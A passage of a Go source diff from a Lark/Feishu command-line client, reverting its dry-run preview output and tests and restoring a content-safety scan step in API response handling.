t.Errorf("%s should keep polling", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package auth
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
root, err := os.MkdirTemp("", "lark-cli-internal-auth-test-*")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
code := m.Run()
|
||||
_ = os.RemoveAll(root)
|
||||
os.Exit(code)
|
||||
}
|
||||
@@ -132,14 +132,16 @@ func HandleResponse(resp *larkcore.ApiResp, opts ResponseOptions) error {
|
||||
})
|
||||
}
|
||||
|
||||
emitter := output.NewEmitter(output.EmitterConfig{
|
||||
Out: opts.Out,
|
||||
ErrOut: opts.ErrOut,
|
||||
CommandPath: opts.CommandPath,
|
||||
Identity: string(identity),
|
||||
NoticeProvider: output.GetNotice,
|
||||
})
|
||||
return emitter.Success(result, output.EmitOptions{Format: opts.Format.String()})
|
||||
// Content safety scanning for non-JSON presentation formats.
|
||||
scanResult := output.ScanForSafety(opts.CommandPath, result, opts.ErrOut)
|
||||
if scanResult.Blocked {
|
||||
return scanResult.BlockErr
|
||||
}
|
||||
if scanResult.Alert != nil {
|
||||
output.WriteAlertWarning(opts.ErrOut, scanResult.Alert)
|
||||
}
|
||||
output.FormatValue(opts.Out, result, opts.Format)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Non-JSON (binary) responses.
|
||||
|
||||
@@ -18,7 +18,6 @@ import (
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/vfs/localfileio"
|
||||
)
|
||||
@@ -240,87 +239,6 @@ func TestHandleResponse_JSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleResponse_NonJSONFormatsEmitExactStructuredResponseBytes(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "ndjson",
|
||||
format: output.FormatNDJSON,
|
||||
want: "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Bob\"}\n",
|
||||
},
|
||||
{
|
||||
name: "table",
|
||||
format: output.FormatTable,
|
||||
want: "id name \n── ─────\n1 Alice\n2 Bob \n",
|
||||
},
|
||||
{
|
||||
name: "csv",
|
||||
format: output.FormatCSV,
|
||||
want: "id,name\n1,Alice\n2,Bob\n",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
|
||||
reg := &httpmock.Registry{}
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: http.MethodGet,
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "1", "name": "Alice"},
|
||||
map[string]interface{}{"id": "2", "name": "Bob"},
|
||||
},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
httpResp, err := httpmock.NewClient(reg).Get("https://open.feishu.cn/open-apis/test/v1/items")
|
||||
if err != nil {
|
||||
t.Fatalf("fixture request failed: %v", err)
|
||||
}
|
||||
body, err := io.ReadAll(httpResp.Body)
|
||||
_ = httpResp.Body.Close()
|
||||
if err != nil {
|
||||
t.Fatalf("read fixture response: %v", err)
|
||||
}
|
||||
resp := &larkcore.ApiResp{
|
||||
StatusCode: httpResp.StatusCode,
|
||||
Header: httpResp.Header.Clone(),
|
||||
RawBody: body,
|
||||
}
|
||||
|
||||
var out bytes.Buffer
|
||||
var errOut bytes.Buffer
|
||||
err = HandleResponse(resp, ResponseOptions{
|
||||
Format: tt.format,
|
||||
Identity: core.AsBot,
|
||||
Out: &out,
|
||||
ErrOut: &errOut,
|
||||
CommandPath: "lark-cli api GET",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("HandleResponse() error = %v, want nil", err)
|
||||
}
|
||||
if got := out.String(); got != tt.want {
|
||||
t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
reg.Verify(t)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleResponse_JSONWithJqUsesSuccessEnvelope(t *testing.T) {
|
||||
body := []byte(`{"code":0,"msg":"ok","data":{"id":"1"}}`)
|
||||
resp := newApiResp(body, map[string]string{"Content-Type": "application/json"})
|
||||
|
||||
@@ -8,29 +8,15 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/util"
|
||||
)
|
||||
|
||||
var dryRunURLPlaceholderRE = regexp.MustCompile(`:([A-Za-z_][A-Za-z0-9_]*)`)
|
||||
|
||||
// DryRunOutputOptions controls dry-run stdout/stderr rendering.
|
||||
type DryRunOutputOptions struct {
|
||||
Format string
|
||||
JqExpr string
|
||||
CommandPath string
|
||||
Identity core.Identity
|
||||
Out io.Writer
|
||||
ErrOut io.Writer
|
||||
}
|
||||
|
||||
// DryRunAPICall describes a single API call in dry-run output.
|
||||
type DryRunAPICall struct {
|
||||
Desc string `json:"desc,omitempty"`
|
||||
@@ -40,21 +26,12 @@ type DryRunAPICall struct {
|
||||
Body interface{} `json:"body,omitempty"`
|
||||
}
|
||||
|
||||
// DryRunContext is the execution context shared by every dry-run preview:
|
||||
// which app would make the call and, when known, as which user. The identity
|
||||
// itself lives at the envelope top level, not here.
|
||||
type DryRunContext struct {
|
||||
AppID string `json:"app_id,omitempty"`
|
||||
UserOpenID string `json:"user_open_id,omitempty"`
|
||||
}
|
||||
|
||||
// DryRunAPI is the builder and result type for dry-run output.
|
||||
// URL templates use :param placeholders; Set stores actual values; MarshalJSON and Format resolve them.
|
||||
type DryRunAPI struct {
|
||||
desc string
|
||||
calls []DryRunAPICall
|
||||
context *DryRunContext
|
||||
extra map[string]interface{}
|
||||
desc string
|
||||
calls []DryRunAPICall
|
||||
extra map[string]interface{}
|
||||
}
|
||||
|
||||
func NewDryRunAPI() *DryRunAPI {
|
||||
@@ -63,22 +40,30 @@ func NewDryRunAPI() *DryRunAPI {
|
||||
|
||||
// --- HTTP method builders (add a call, return self for chaining) ---
|
||||
|
||||
// call appends a request with the method transcribed verbatim, so previews
|
||||
// never misreport what the real client would send.
|
||||
func (d *DryRunAPI) call(method, url string) *DryRunAPI {
|
||||
d.calls = append(d.calls, DryRunAPICall{Method: method, URL: url})
|
||||
func (d *DryRunAPI) GET(url string) *DryRunAPI {
|
||||
d.calls = append(d.calls, DryRunAPICall{Method: "GET", URL: url})
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *DryRunAPI) GET(url string) *DryRunAPI { return d.call("GET", url) }
|
||||
func (d *DryRunAPI) POST(url string) *DryRunAPI {
|
||||
d.calls = append(d.calls, DryRunAPICall{Method: "POST", URL: url})
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *DryRunAPI) POST(url string) *DryRunAPI { return d.call("POST", url) }
|
||||
func (d *DryRunAPI) PUT(url string) *DryRunAPI {
|
||||
d.calls = append(d.calls, DryRunAPICall{Method: "PUT", URL: url})
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *DryRunAPI) PUT(url string) *DryRunAPI { return d.call("PUT", url) }
|
||||
func (d *DryRunAPI) DELETE(url string) *DryRunAPI {
|
||||
d.calls = append(d.calls, DryRunAPICall{Method: "DELETE", URL: url})
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *DryRunAPI) DELETE(url string) *DryRunAPI { return d.call("DELETE", url) }
|
||||
|
||||
func (d *DryRunAPI) PATCH(url string) *DryRunAPI { return d.call("PATCH", url) }
|
||||
func (d *DryRunAPI) PATCH(url string) *DryRunAPI {
|
||||
d.calls = append(d.calls, DryRunAPICall{Method: "PATCH", URL: url})
|
||||
return d
|
||||
}
|
||||
|
||||
// Body sets the request body on the last added call.
|
||||
func (d *DryRunAPI) Body(body interface{}) *DryRunAPI {
|
||||
@@ -113,26 +98,12 @@ func (d *DryRunAPI) Set(key string, value interface{}) *DryRunAPI {
|
||||
return d
|
||||
}
|
||||
|
||||
// Context records the calling app/user under data.context; empty values are
|
||||
// omitted, and a fully empty context is not emitted at all.
|
||||
func (d *DryRunAPI) Context(appID, userOpenID string) *DryRunAPI {
|
||||
if appID == "" && userOpenID == "" {
|
||||
return d
|
||||
}
|
||||
d.context = &DryRunContext{AppID: appID, UserOpenID: userOpenID}
|
||||
return d
|
||||
}
|
||||
|
||||
// resolveURL replaces :key placeholders in url with path-escaped values from extra.
|
||||
func (d *DryRunAPI) resolveURL(rawURL string) string {
|
||||
return dryRunURLPlaceholderRE.ReplaceAllStringFunc(rawURL, func(token string) string {
|
||||
name := token[1:]
|
||||
value, ok := d.extra[name]
|
||||
if !ok {
|
||||
return token
|
||||
}
|
||||
return url.PathEscape(fmt.Sprintf("%v", value))
|
||||
})
|
||||
for k, v := range d.extra {
|
||||
rawURL = strings.ReplaceAll(rawURL, ":"+k, url.PathEscape(fmt.Sprintf("%v", v)))
|
||||
}
|
||||
return rawURL
|
||||
}
|
||||
|
||||
// MarshalJSON serializes as {"description": "...", "api": [...calls with resolved URLs], ...extra}.
|
||||
@@ -147,17 +118,13 @@ func (d *DryRunAPI) MarshalJSON() ([]byte, error) {
|
||||
Body: c.Body,
|
||||
}
|
||||
}
|
||||
m := make(map[string]interface{}, len(d.extra)+3)
|
||||
for k, v := range d.extra {
|
||||
m[k] = v
|
||||
}
|
||||
// Typed fields win over same-named extra keys.
|
||||
m := make(map[string]interface{}, len(d.extra)+2)
|
||||
if d.desc != "" {
|
||||
m["description"] = d.desc
|
||||
}
|
||||
m["api"] = resolved
|
||||
if d.context != nil {
|
||||
m["context"] = d.context
|
||||
for k, v := range d.extra {
|
||||
m[k] = v
|
||||
}
|
||||
return json.Marshal(m)
|
||||
}
|
||||
@@ -187,7 +154,11 @@ func (d *DryRunAPI) Format() string {
|
||||
u += "?" + encodeParams(c.Params)
|
||||
}
|
||||
|
||||
b.WriteString(c.Method)
|
||||
method := c.Method
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
b.WriteString(method)
|
||||
b.WriteByte(' ')
|
||||
b.WriteString(u)
|
||||
b.WriteByte('\n')
|
||||
@@ -244,74 +215,83 @@ func encodeParams(params map[string]interface{}) string {
|
||||
return vals.Encode()
|
||||
}
|
||||
|
||||
// buildDryRunPreview assembles the shared preview skeleton: HTTP method, URL,
|
||||
// query params, and the app/user context common to every dry-run.
|
||||
func buildDryRunPreview(request client.RawApiRequest, config *core.CliConfig) *DryRunAPI {
|
||||
dr := NewDryRunAPI().call(request.Method, request.URL)
|
||||
// PrintDryRunWithFile outputs a dry-run summary for file upload requests.
|
||||
// Instead of serializing the Formdata body, it shows file metadata.
|
||||
func PrintDryRunWithFile(w io.Writer, request client.RawApiRequest, config *core.CliConfig, format, fileField, filePath string, formFields any) error {
|
||||
dr := NewDryRunAPI()
|
||||
switch request.Method {
|
||||
case "POST":
|
||||
dr.POST(request.URL)
|
||||
case "PUT":
|
||||
dr.PUT(request.URL)
|
||||
case "PATCH":
|
||||
dr.PATCH(request.URL)
|
||||
case "DELETE":
|
||||
dr.DELETE(request.URL)
|
||||
default:
|
||||
dr.GET(request.URL)
|
||||
}
|
||||
if len(request.Params) > 0 {
|
||||
dr.Params(request.Params)
|
||||
}
|
||||
// Identity is reported at the envelope top level, not duplicated here.
|
||||
dr.Context(config.AppID, config.UserOpenId)
|
||||
return dr
|
||||
}
|
||||
|
||||
// PrintDryRunWithFile outputs a dry-run summary for file upload requests.
|
||||
// Instead of serializing the Formdata body, it shows file metadata.
|
||||
func PrintDryRunWithFile(request client.RawApiRequest, config *core.CliConfig, opts DryRunOutputOptions, file FileUploadMeta) error {
|
||||
dr := buildDryRunPreview(request, config)
|
||||
filePathDisplay := file.FilePath
|
||||
filePathDisplay := filePath
|
||||
if filePathDisplay == "" {
|
||||
filePathDisplay = "<stdin>"
|
||||
}
|
||||
fileInfo := map[string]any{
|
||||
"file": map[string]string{"field": file.FieldName, "path": filePathDisplay},
|
||||
"file": map[string]string{"field": fileField, "path": filePathDisplay},
|
||||
}
|
||||
if file.FormFields != nil {
|
||||
fileInfo["form_fields"] = file.FormFields
|
||||
if formFields != nil {
|
||||
fileInfo["form_fields"] = formFields
|
||||
}
|
||||
fileInfo["options"] = []string{"WithFileUpload"}
|
||||
dr.Body(fileInfo)
|
||||
return WriteDryRun(dr, opts)
|
||||
dr.Set("as", string(request.As))
|
||||
dr.Set("appId", config.AppID)
|
||||
if config.UserOpenId != "" {
|
||||
dr.Set("userOpenId", config.UserOpenId)
|
||||
}
|
||||
fmt.Fprintln(w, "=== Dry Run ===")
|
||||
if format == "pretty" {
|
||||
fmt.Fprint(w, dr.Format())
|
||||
} else {
|
||||
output.PrintJson(w, dr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// PrintDryRun outputs a standardised dry-run summary using DryRunAPI.
|
||||
// When format is "pretty", outputs human-readable text; otherwise JSON.
|
||||
func PrintDryRun(request client.RawApiRequest, config *core.CliConfig, opts DryRunOutputOptions) error {
|
||||
dr := buildDryRunPreview(request, config)
|
||||
func PrintDryRun(w io.Writer, request client.RawApiRequest, config *core.CliConfig, format string) error {
|
||||
dr := NewDryRunAPI()
|
||||
switch request.Method {
|
||||
case "POST":
|
||||
dr.POST(request.URL)
|
||||
case "PUT":
|
||||
dr.PUT(request.URL)
|
||||
case "PATCH":
|
||||
dr.PATCH(request.URL)
|
||||
case "DELETE":
|
||||
dr.DELETE(request.URL)
|
||||
default:
|
||||
dr.GET(request.URL)
|
||||
}
|
||||
if len(request.Params) > 0 {
|
||||
dr.Params(request.Params)
|
||||
}
|
||||
if !util.IsNil(request.Data) {
|
||||
dr.Body(request.Data)
|
||||
}
|
||||
return WriteDryRun(dr, opts)
|
||||
}
|
||||
|
||||
// WriteDryRun emits a DryRunAPI using the shared dry-run output contract.
|
||||
// Identity may be empty; the envelope omits it rather than guessing.
|
||||
func WriteDryRun(dr *DryRunAPI, opts DryRunOutputOptions) error {
|
||||
if dr == nil {
|
||||
return errs.NewInternalError(errs.SubtypeUnknown, "dry-run produced no request preview")
|
||||
dr.Set("as", string(request.As))
|
||||
dr.Set("appId", config.AppID)
|
||||
if config.UserOpenId != "" {
|
||||
dr.Set("userOpenId", config.UserOpenId)
|
||||
}
|
||||
// The JqExpr guard is defensive: every entry point already rejects --jq
|
||||
// combined with --format pretty via output.ValidateJqFlags.
|
||||
if opts.Format == "pretty" && opts.JqExpr == "" {
|
||||
// A nil ErrOut only skips the banner decoration (mirroring
|
||||
// WriteSuccessEnvelope's warning path); the payload write to Out
|
||||
// must fail loudly rather than be silently discarded.
|
||||
if opts.ErrOut != nil {
|
||||
fmt.Fprintln(opts.ErrOut, "=== Dry Run ===")
|
||||
}
|
||||
// stdout carries its own marker so logs that drop stderr still show
|
||||
// this was a preview, not an executed request.
|
||||
fmt.Fprintln(opts.Out, "# dry-run: request not sent")
|
||||
fmt.Fprint(opts.Out, dr.Format())
|
||||
return nil
|
||||
fmt.Fprintln(w, "=== Dry Run ===")
|
||||
if format == "pretty" {
|
||||
fmt.Fprint(w, dr.Format())
|
||||
} else {
|
||||
output.PrintJson(w, dr)
|
||||
}
|
||||
return output.WriteSuccessEnvelope(dr, output.SuccessEnvelopeOptions{
|
||||
CommandPath: opts.CommandPath,
|
||||
Identity: string(opts.Identity),
|
||||
DryRun: true,
|
||||
JqExpr: opts.JqExpr,
|
||||
Out: opts.Out,
|
||||
ErrOut: opts.ErrOut,
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -6,12 +6,9 @@ package cmdutil
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
@@ -69,31 +66,11 @@ func TestDryRunAPI_ResolveURL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDryRunAPI_ResolveURLMatchesFullPlaceholderOnly(t *testing.T) {
|
||||
dr := NewDryRunAPI().
|
||||
GET("/open-apis/task/v2/tasks/:assignee_id").
|
||||
Set("assignee", "ou_bot")
|
||||
|
||||
text := dr.Format()
|
||||
if strings.Contains(text, "ou_bot_id") {
|
||||
t.Fatalf("prefix placeholder key corrupted longer token: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, ":assignee_id") {
|
||||
t.Fatalf("missing unresolved placeholder, got: %s", text)
|
||||
}
|
||||
|
||||
dr.Set("assignee_id", "ou_abc/123")
|
||||
text = dr.Format()
|
||||
if !strings.Contains(text, "/open-apis/task/v2/tasks/ou_abc%2F123") {
|
||||
t.Fatalf("expected full placeholder replacement with path escaping, got: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDryRunAPI_MarshalJSON(t *testing.T) {
|
||||
dr := NewDryRunAPI().
|
||||
Desc("test api").
|
||||
GET("/open-apis/test").
|
||||
Set("note", "audit")
|
||||
Set("as", "user")
|
||||
|
||||
data, err := json.Marshal(dr)
|
||||
if err != nil {
|
||||
@@ -106,8 +83,8 @@ func TestDryRunAPI_MarshalJSON(t *testing.T) {
|
||||
if m["description"] != "test api" {
|
||||
t.Errorf("expected description, got: %v", m["description"])
|
||||
}
|
||||
if m["note"] != "audit" {
|
||||
t.Errorf("expected note=audit, got: %v", m["note"])
|
||||
if m["as"] != "user" {
|
||||
t.Errorf("expected as=user, got: %v", m["as"])
|
||||
}
|
||||
api, ok := m["api"].([]interface{})
|
||||
if !ok || len(api) != 1 {
|
||||
@@ -146,67 +123,31 @@ func TestDryRunAPI_ExtraFieldsOnly(t *testing.T) {
|
||||
|
||||
func TestPrintDryRun_JSON(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
var errBuf bytes.Buffer
|
||||
err := PrintDryRun(client.RawApiRequest{
|
||||
err := PrintDryRun(&buf, client.RawApiRequest{
|
||||
Method: "GET",
|
||||
URL: "/open-apis/test",
|
||||
As: "user",
|
||||
}, &core.CliConfig{AppID: "app123"}, DryRunOutputOptions{
|
||||
Format: "json",
|
||||
CommandPath: "lark-cli api",
|
||||
Identity: core.AsUser,
|
||||
Out: &buf,
|
||||
ErrOut: &errBuf,
|
||||
})
|
||||
}, &core.CliConfig{AppID: "app123"}, "json")
|
||||
if err != nil {
|
||||
t.Fatalf("PrintDryRun failed: %v", err)
|
||||
}
|
||||
out := buf.String()
|
||||
if strings.Contains(out, "=== Dry Run ===") {
|
||||
t.Fatalf("JSON stdout must not contain banner, got: %s", out)
|
||||
if !strings.Contains(out, "=== Dry Run ===") {
|
||||
t.Errorf("expected header, got: %s", out)
|
||||
}
|
||||
var env map[string]interface{}
|
||||
if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
|
||||
}
|
||||
if env["ok"] != true || env["identity"] != "user" || env["dry_run"] != true {
|
||||
t.Fatalf("unexpected envelope: %#v", env)
|
||||
}
|
||||
data, ok := env["data"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("unexpected data: %#v", env["data"])
|
||||
}
|
||||
dctx, ok := data["context"].(map[string]interface{})
|
||||
if !ok || dctx["app_id"] != "app123" {
|
||||
t.Fatalf("unexpected data.context: %#v", data["context"])
|
||||
}
|
||||
if _, exists := data["as"]; exists {
|
||||
t.Fatalf("data.as must not appear; identity lives at the envelope top level: %#v", data)
|
||||
}
|
||||
api, ok := data["api"].([]interface{})
|
||||
if !ok || len(api) != 1 {
|
||||
t.Fatalf("api = %#v, want one call", data["api"])
|
||||
}
|
||||
call, ok := api[0].(map[string]interface{})
|
||||
if !ok || call["url"] != "/open-apis/test" {
|
||||
t.Fatalf("api[0] = %#v", api[0])
|
||||
if !strings.Contains(out, "app123") {
|
||||
t.Errorf("expected appId in output, got: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrintDryRun_Pretty(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
var errBuf bytes.Buffer
|
||||
err := PrintDryRun(client.RawApiRequest{
|
||||
err := PrintDryRun(&buf, client.RawApiRequest{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/test",
|
||||
Data: map[string]interface{}{"key": "val"},
|
||||
As: "bot",
|
||||
}, &core.CliConfig{AppID: "app456"}, DryRunOutputOptions{
|
||||
Format: "pretty",
|
||||
Identity: core.AsBot,
|
||||
Out: &buf,
|
||||
ErrOut: &errBuf,
|
||||
})
|
||||
}, &core.CliConfig{AppID: "app456"}, "pretty")
|
||||
if err != nil {
|
||||
t.Fatalf("PrintDryRun failed: %v", err)
|
||||
}
|
||||
@@ -214,136 +155,6 @@ func TestPrintDryRun_Pretty(t *testing.T) {
|
||||
if !strings.Contains(out, "POST /open-apis/test") {
|
||||
t.Errorf("expected POST line in pretty output, got: %s", out)
|
||||
}
|
||||
if !strings.HasPrefix(out, "# dry-run: request not sent\n") {
|
||||
t.Fatalf("pretty stdout should start with the dry-run marker, got: %s", out)
|
||||
}
|
||||
if strings.Contains(out, "=== Dry Run ===") {
|
||||
t.Fatalf("pretty stdout must not contain banner, got: %s", out)
|
||||
}
|
||||
if !strings.Contains(errBuf.String(), "=== Dry Run ===") {
|
||||
t.Fatalf("pretty stderr should contain banner, got: %s", errBuf.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrintDryRun_WithJqUsesEnvelope(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
err := PrintDryRun(client.RawApiRequest{
|
||||
Method: "GET",
|
||||
URL: "/open-apis/test",
|
||||
As: "bot",
|
||||
}, &core.CliConfig{AppID: "app123"}, DryRunOutputOptions{
|
||||
Format: "json",
|
||||
JqExpr: ".data.api[0].url",
|
||||
Identity: core.AsBot,
|
||||
Out: &buf,
|
||||
ErrOut: io.Discard,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("PrintDryRun failed: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(buf.String()); got != "/open-apis/test" {
|
||||
t.Fatalf("jq output = %q, want /open-apis/test", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrintDryRunWithFile_JSONEnvelope(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
err := PrintDryRunWithFile(client.RawApiRequest{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/drive/v1/files/upload_all",
|
||||
As: "bot",
|
||||
}, &core.CliConfig{AppID: "app123", UserOpenId: "ou_tester"}, DryRunOutputOptions{
|
||||
Format: "json",
|
||||
Identity: core.AsBot,
|
||||
Out: &buf,
|
||||
ErrOut: io.Discard,
|
||||
}, FileUploadMeta{FieldName: "file", FilePath: "report.txt", FormFields: map[string]any{"parent": "fld"}})
|
||||
if err != nil {
|
||||
t.Fatalf("PrintDryRunWithFile failed: %v", err)
|
||||
}
|
||||
var env map[string]interface{}
|
||||
if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, buf.String())
|
||||
}
|
||||
if env["dry_run"] != true {
|
||||
t.Fatalf("dry_run = %#v, want true", env["dry_run"])
|
||||
}
|
||||
data := env["data"].(map[string]interface{})
|
||||
api := data["api"].([]interface{})
|
||||
call := api[0].(map[string]interface{})
|
||||
body := call["body"].(map[string]interface{})
|
||||
file := body["file"].(map[string]interface{})
|
||||
if file["path"] != "report.txt" {
|
||||
t.Fatalf("file body = %#v", body)
|
||||
}
|
||||
dctx, ok := data["context"].(map[string]interface{})
|
||||
if !ok || dctx["app_id"] != "app123" || dctx["user_open_id"] != "ou_tester" {
|
||||
t.Fatalf("unexpected data.context: %#v", data["context"])
|
||||
}
|
||||
for _, legacy := range []string{"as", "appId", "userOpenId"} {
|
||||
if _, exists := data[legacy]; exists {
|
||||
t.Fatalf("legacy key %q must not appear in data: %#v", legacy, data)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrintDryRun_MethodTranscribedVerbatim(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
err := PrintDryRun(client.RawApiRequest{
|
||||
Method: "OPTIONS",
|
||||
URL: "/open-apis/test",
|
||||
As: "bot",
|
||||
}, &core.CliConfig{AppID: "app123"}, DryRunOutputOptions{
|
||||
Format: "json",
|
||||
Identity: core.AsBot,
|
||||
Out: &buf,
|
||||
ErrOut: io.Discard,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("PrintDryRun failed: %v", err)
|
||||
}
|
||||
var env map[string]interface{}
|
||||
if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, buf.String())
|
||||
}
|
||||
call := env["data"].(map[string]interface{})["api"].([]interface{})[0].(map[string]interface{})
|
||||
if call["method"] != "OPTIONS" {
|
||||
t.Fatalf("method = %#v, want OPTIONS transcribed verbatim (not coerced to GET)", call["method"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrintDryRun_EmptyConfigOmitsContext(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
err := PrintDryRun(client.RawApiRequest{
|
||||
Method: "GET",
|
||||
URL: "/open-apis/test",
|
||||
}, &core.CliConfig{}, DryRunOutputOptions{
|
||||
Format: "json",
|
||||
Out: &buf,
|
||||
ErrOut: io.Discard,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("PrintDryRun failed: %v", err)
|
||||
}
|
||||
var env map[string]interface{}
|
||||
if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, buf.String())
|
||||
}
|
||||
data := env["data"].(map[string]interface{})
|
||||
if _, exists := data["context"]; exists {
|
||||
t.Fatalf("empty app/user context must be omitted entirely, got: %#v", data["context"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteDryRun_NilPreviewIsInternalError(t *testing.T) {
|
||||
err := WriteDryRun(nil, DryRunOutputOptions{Format: "json", Out: io.Discard})
|
||||
if err == nil {
|
||||
t.Fatal("WriteDryRun(nil) should fail instead of emitting an empty preview")
|
||||
}
|
||||
var internal *errs.InternalError
|
||||
if !errors.As(err, &internal) {
|
||||
t.Fatalf("expected *errs.InternalError, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDryRunFormatValue(t *testing.T) {
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user